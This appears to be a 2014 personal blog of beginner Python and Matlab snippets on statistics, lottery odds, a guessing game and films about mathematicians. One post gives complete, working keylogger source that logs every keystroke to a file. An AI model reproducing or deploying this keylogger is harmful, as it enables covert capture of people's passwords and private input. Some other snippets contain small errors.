24 Ocak 2014 Cuma

İmport Excel Data in Python

import xlrd
import matplotlib.pyplot as plt

workbook = xlrd.open_workbook('C:\Users\pc\Desktop\Kitap2.xls')

workbook.nsheets

sheet=workbook.sheet_by_index(0)

a=[sheet.cell_value(rowx=i, colx=0) for i in range(sheet.nrows)]

plt.plot(a)





11 Ocak 2014 Cumartesi

Data Analysis in Python-Descriptive Statistics


# -*- coding: utf-8 -*-

import numpy as np
import matplotlib.pyplot as plt

data1=[85,62,78,64,25,12,74,96,63,45,78,20,5,30,45,78,45,96,65,45,74,12,78,23,8]
# create a data

mean=np.mean(data1) 
#data mean

variance=np.var(data1)
#data variance

standartdev=np.std(data1)
#data standart deviation

max=np.max(data1)
# biggest number of data1

min=np.min(data1)
#smallest number of data1

percentiles=numpy.percentile(data1,25)
#percentiles of data1 # we find percentile 25


plt.plot(data1)
plt.show() 
plt.pie(data1)   
plt.show()

# we show graph of data1 #pie and plot


7 Ocak 2014 Salı

İnvent Source Code in Python


import urllib2
request = urllib2.Request('http://www.******.com')
response = urllib2.urlopen(request)
s = response.read()
print(s)

Why not winning in games of chance ?

      

   What is the chance ? Why some people are so chance? For centuries, people have been
trying to understand the chance.So far,nobady could find this answer.
People try to chance some games every day. A lot of american play lottery every week.
               
Now, I'll show's chances of winning lottery:



Score
Calculate
Exact Probabilty
Approximate Decimal Probabilty
  0
*

435,461/998,844


0,436
  1
*

68,757/166,474


0,413
  2
*

44,075/332,948


0,132
  3
*

8,815/499,422


0,0177
  4
*

645/665,896


0,000969
  5
*

43/2,330,636


0,0000184
   6
*

1/13,983,816


0,00000000715





This Formula is called the hypergeometric distribution.


Tickets are going to invest your probability of dying>your chance of winning this game.


Now, in this game i will show you the formula showing a loss:


(The  probability of winning X the money earn)+( probability of losing X (-)(the Money pay))



If this result is negative,you are losses.


We can apply this Formula all games. Good Luck!


6 Ocak 2014 Pazartesi

Simulation of Normal Distribution in Matlab


randn('state',0) 
x=randn(1000,1); 
bincenters=[-3.5:0.5:3.5]';
bins=length(bincenters);
h=zeros(bins,1); 
for i=1:length(x)
    for k=1:bins
        if x(i)>bincenters(k)-0.5/2 && x(i)<=bincenters(k)+0.5/2
            h(k,1)=h(k,1)+1;
        end
    end
end

pxest=h/(1000*0.5); 
xaxis=[-4:0.01:4]'; 
px=(1/sqrt(2*pi))*exp(-0.5*xaxis.^2); 
plot(xaxis,px,'LineWidth',5,'Color','red');hold on;
bar(bincenters,pxest);
hold off
grid on

5 Ocak 2014 Pazar

Number Guessing Game in Python


import random
answer=random.randrange(1000,10000)

while True:
    choice=int(raw_input('Enter a number:'))
    if choice<1000 or choice>9999:
        print ("Enter a number between 1000 and 9999:")
    elif choice<answer:
        print("Too low")

    elif choice>answer:
        print("Too high")
    elif choice==answer:
        break
print ("You got it")
s

4 Ocak 2014 Cumartesi

Keylogger in Python

import pyHook, pythoncom, sys, logging

file_log = 'C:\important\log.txt'

def OnKeyboardEvent(event):
                    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
                    chr(event.Ascii)
                    logging.log(10,chr(event.Ascii))
                    return True

hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown=OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

3 Ocak 2014 Cuma

Films about Mathematicians and Math






  • 21 (2008)
  • A Beautiful Mind (2001)
  • Fermat's Room (2007)
  • The Bank (2001)
  • Pi (1998)
  • Raising Genius (2004)
  • Moneyball(2011)
  • Cube(1997)
  • Good Will Hunding(1997)
  • 23(2007)